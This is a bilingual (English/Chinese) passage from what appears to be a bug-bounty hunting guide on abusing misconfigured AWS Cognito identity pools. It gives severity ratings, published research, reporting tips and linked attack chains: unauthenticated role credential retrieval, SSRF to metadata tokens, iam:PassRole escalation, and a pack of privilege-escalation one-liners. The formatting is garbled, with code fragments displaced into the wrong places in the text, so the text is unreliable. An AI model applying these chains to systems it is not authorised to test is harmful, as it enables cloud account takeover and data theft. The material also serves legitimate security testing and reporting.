未认证 role 拥有 | Critical(9.8) | 已有文档证明可提权至管理员 |
未认证 role 对 Web 托管 bucket 拥有 | High(8.1) | 存储型 XSS/供应链攻击 |
未认证 role 对客户 CMK 拥有 | High(7.5-8.5) | 取决于密文是否可达 |
| 未认证 role 只能读取一个硬编码的非敏感资源 | Medium(5.3) | 业务影响有限 |
| 已启用未认证身份,但 role policy 拒绝所有操作 | Informational | 仅偏离最佳实践 |
Disclosed cases / authoritative writeups
已披露案例/权威文章
- Andres Riancho — "Misconfigured Cognito Identity Pools" (2020, refreshed 2023) — original research establishing the attack class. against unauth pools with default
GetCredentialsForIdentitypolicies. andresriancho.com* - Rhino Security Labs — Pacu module — production tooling that automates Steps 1-5 of the chain. github.com/RhinoSecurityLabs/pacu
cognito__enum_identity_pools - NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — walkthrough of identityPoolId extraction → assume guest role → S3/DynamoDB/Lambda enumeration. Calls out RUM, Amplify, Pinpoint as the three SDKs that commonly expose the pool ID in HTML. notsosecure.com
- HackTricks Cloud — — canonical playbook covering Steps 1-5. cloud.hacktricks.wiki
aws-cognito-unauthenticated-enum - Spaceraccoon / Eugene Lim — "Mass Account Takeover via Cognito IdentityPool" (Medium, 2020) — SaaS provider exposed IdentityPoolId in Amplify config; unauth role had +
cognito-idp:AdminConfirmSignUpon the linked User Pool — silent confirmation of any signup + email change = mass ATO.AdminUpdateUserAttributes - Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry across Datadog customer base showing real-world Cognito pool abuse. Non-trivial percentage of pools paired with policies broader than the minimum required. securitylabs.datadoghq.com
- Andres Riancho——“Misconfigured Cognito Identity Pools”(2020,2023 年更新)——确立该攻击类别的原始研究。针对采用默认 策略的未认证 pool 调用
*。andresriancho.comGetCredentialsForIdentity - Rhino Security Labs——Pacu 的 模块——可自动执行该攻击链第 1-5 步的生产级工具。github.com/RhinoSecurityLabs/pacu
cognito__enum_identity_pools - NotSoSecure/Claranet——“Exploiting weak configurations in Amazon Cognito”(2023 年 11 月)——完整演示了从提取 identityPoolId、assume guest role 到枚举 S3/DynamoDB/Lambda 的过程。文中指出 RUM、Amplify、Pinpoint 是通常在 HTML 中暴露 pool ID 的三个 SDK。notsosecure.com
- HackTricks Cloud————覆盖该攻击链第 1-5 步的标准操作手册。cloud.hacktricks.wiki
aws-cognito-unauthenticated-enum - Spaceraccoon/Eugene Lim——“Mass Account Takeover via Cognito IdentityPool”(Medium,2020)——某 SaaS 提供商在 Amplify 配置中暴露了 IdentityPoolId;未认证 role 对关联 User Pool 拥有 +
cognito-idp:AdminConfirmSignUp——可静默确认任意注册并修改邮箱,从而实现大规模 ATO。AdminUpdateUserAttributes - Datadog Security Labs——“Following AWS Logs Backwards: Cognito Identity Pool Abuse”(2024)——基于 Datadog 客户群的遥测数据,展示了现实世界中的 Cognito pool 滥用。相当比例的 pool 仍配置着比最低要求更宽泛的策略。securitylabs.datadoghq.com
Reporting tip
报告建议
Always include in the report:
- output (proves the role ARN + account ID)
sts get-caller-identity - Pacu JSON output (proves the granted actions)
iam__enum_permissions - A concrete data-pull PoC (one sample S3 object listing, one DynamoDB record with PII redacted)
Without all three, triagers downgrade to Medium. The 60-second test is . If you reach step 3 anonymously, you have a finding.
GetId → GetCredentialsForIdentity → sts get-caller-identityCross-reference: → covers the specific RUM-embedded variant of this attack class.
hunt-cloud-misconfigCloudWatch RUM weaponization报告中始终应包含:
- 输出(证明 role ARN 和账号 ID)
sts get-caller-identity - Pacu JSON 输出(证明已授权的操作)
iam__enum_permissions - 具体的数据拉取 PoC(一个 S3 对象列表,或一条经过 PII 脱敏的 DynamoDB 记录)
如果缺少其中任何一项,分诊人员会将严重程度降为 Medium。60 秒测试是 。如果能够以匿名身份到达第 3 步,就构成一项安全发现。
GetId → GetCredentialsForIdentity → sts get-caller-identity交叉参考: → 涵盖了此类攻击中嵌入 RUM 的具体变体。
hunt-cloud-misconfigCloudWatch RUM weaponizationRelated Skills & Chains
相关 skill 与攻击链
- — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token →
hunt-ssrfprivilege-escalation patterns reach prod S3 / Secrets Manager.cloud-iam-deep - — Public buckets and exposed configs are the most common credential-leak vector. Chain primitive: Cloud misconfig (
hunt-cloud-misconfigin public S3) + leaked AWS access key → IAM enumeration →.envchain to admin.iam:PassRole - — CI/CD often holds long-lived deploy credentials. Chain primitive: Exposed GitHub Actions OIDC misconfig + assume-role permission →
supply-chain-attack-reconcross-account role assumption.cloud-iam-deep - — Azure Managed Identity overlaps Entra service principals. Chain primitive: SSRF on Azure App Service → Managed Identity token →
m365-entra-attackGraph API enumeration → cross-tenant escalation.m365-entra-attack - — Load the Cloud IAM Privilege-Escalation Payload Pack (24+ AWS, 8+ Azure, 6+ GCP escalation patterns with
security-arsenalone-liners).aws cli - — Apply the Server-State-vs-Policy gate: a permissive IAM policy alone is not a finding; demonstrate actual privileged action (e.g., read prod secret, create cross-account role) before reporting.
triage-validation
- ——大多数通向云凭据的外部路径都始于 SSRF 访问 metadata 服务。链式原语:SSRF + IMDSv1 → 实例 role token →
hunt-ssrf权限提升模式 → 访问生产 S3/Secrets Manager。cloud-iam-deep - ——公共 bucket 和暴露的配置是最常见的凭据泄露载体。链式原语:云配置错误(公共 S3 中的
hunt-cloud-misconfig)+ 泄露的 AWS access key → IAM 枚举 →.env链 → 管理员权限。iam:PassRole - ——CI/CD 经常保存长期有效的部署凭据。链式原语:暴露的 GitHub Actions OIDC 配置错误 + assume-role 权限 →
supply-chain-attack-recon跨账号 role assumption。cloud-iam-deep - ——Azure Managed Identity 与 Entra service principal 存在重叠。链式原语:Azure App Service 上的 SSRF → Managed Identity token →
m365-entra-attackGraph API 枚举 → 跨租户权限提升。m365-entra-attack - ——加载 Cloud IAM Privilege-Escalation Payload Pack,其中包含 24+ 种 AWS、8+ 种 Azure、6+ 种 GCP 权限提升模式及对应的
security-arsenal单行命令。aws cli - ——应用 Server-State-vs-Policy gate:仅存在宽松的 IAM policy 并不构成发现项;报告前应证明实际的高权限操作,例如读取生产 secret 或创建跨账号 role。
triage-validation